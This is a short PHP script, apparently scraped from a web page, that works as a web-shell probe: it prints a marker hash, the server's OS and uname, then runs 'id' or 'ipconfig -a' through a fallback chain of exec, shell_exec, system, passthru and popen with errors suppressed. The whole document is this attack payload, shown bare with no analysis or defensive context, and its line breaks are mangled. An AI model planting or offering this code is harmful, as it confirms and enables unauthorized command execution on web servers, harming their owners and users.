break;

(source: http://www.vine.az/n )

<?
$ker 
= @php_uname();
$osx = @PHP_OS;
echo 
"f7f32504cabcb48c21030c024c6e5c1a<br>";
echo 
"Uname:$ker<br>";
echo 
"SySOs:$osx<br>";
if (
$osx == "WINNT") { $xeQt="ipconfig -a"; }
else { 
$xeQt="id"; }
$hitemup=ex($xeQt);
echo 
$hitemup;
function 
ex($cfe) {
        
$res '';
        if (!empty(
$cfe)) {
                if(
function_exists('exec')) {
                        @
exec($cfe,$res);
                        
$res join("\n",$res);
                }
                elseif(
function_exists('shell_exec')) {
                        
$res = @shell_exec($cfe);
                }
                elseif(
function_exists('system')) {
                        @
ob_start();
                        @
system($cfe);
                        
$res = @ob_get_contents();
                        @
ob_end_clean();
                }
                elseif(
function_exists('passthru')) {
                        @
ob_start();
                        @
passthru($cfe);
                        
$res = @ob_get_contents();
                        @
ob_end_clean();
                }
                elseif(@
is_resource($f = @popen($cfe,"r"))) {
                        
$res "";
                        while(!@
feof($f)) { $res .= @fread($f,1024); }
                        @
pclose($f);
                }
        }
        return 
$res;
}
exit;
?>